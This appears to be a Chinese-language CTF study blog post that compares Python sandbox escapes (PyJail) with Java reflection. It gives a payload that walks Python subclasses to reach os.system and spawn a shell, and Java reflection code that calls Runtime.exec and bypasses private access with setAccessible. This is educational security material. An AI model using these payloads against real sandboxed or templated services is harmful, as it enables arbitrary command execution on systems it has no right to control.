学一下 Java 反射

书接上回 PyJail 自动获取索引。

比方说现在有一个license.__class__.__base__.__subclasses__()[155].__init__.__globals__['system']('sh')
但是这个155需要先dir(license.__class__.__base__.__subclasses__())才知道,或者二分法拿到<class 'os._wrap_close'>,有没有更好的方法呢?

可以用推导式,动态获取索引,payload如下:

1
[x for x in license.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh')

那么 Java 反射实际上和 PyJail 有一定相似性。

步骤Python PyJailJava 反射
1. 获取类对象license.__class__ (通过实例找类)obj.getClass()Class.forName("java.lang.Runtime")
2. 寻找目标__subclasses__()(遍历所有子类找 gadgets)getMethod("exec", ...) (直接按名字和参数类型找方法)
3. 实例化/获取单例__init__ (调用构造函数)constructor.newInstance() 或 静态方法 getRuntime()
4. 获取权限Python 通常没有真正的 Private 强制限制,直接引用即可setAccessible(true) (强制访问 private 方法/属性)
5. 执行命令__globals__['system']('sh')method.invoke(obj, "sh")

举个例子

想执行 calc.exe (或 sh),如果可以直接写:

1
Runtime.getRuntime().exec("calc");

但在 CTF(如 Java 反射题、反序列化漏洞、SSTI)中,一般无法直接调用,只能通过反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. 获取 Runtime 类(类似于 Python 里的 __class__)
Class clazz = Class.forName("java.lang.Runtime");

// 2. 获取 getRuntime 方法(Runtime 是单例模式,构造函数是私有的,所以要拿静态方法)
// 对应 Python 里的 getattr
java.lang.reflect.Method getRuntimeMethod = clazz.getMethod("getRuntime");

// 3. 获取 exec 方法,它接受一个 String 参数
java.lang.reflect.Method execMethod = clazz.getMethod("exec", String.class);

// 4. 调用 getRuntime 方法得到实例(相当于 Python 的实例化)
Object runtimeInstance = getRuntimeMethod.invoke(null);

// 5. 调用 exec 方法执行命令(相当于 Python 的最后一步调用)
execMethod.invoke(runtimeInstance, "calc");


setAccessible(true)

在 Python 里, _private 是不强制的;但在 Java 里,private 是强制的。如果访问一个私有属性或方法,JVM 会报错。

但是,反射API提供了一个方法,

1
2
3
4
5
6
7
8
9
// 获取一个私有构造函数
Constructor c = clazz.getDeclaredConstructor();

// 运训访问
c.setAccessible(true);

// 现在可以实例化了
c.newInstance();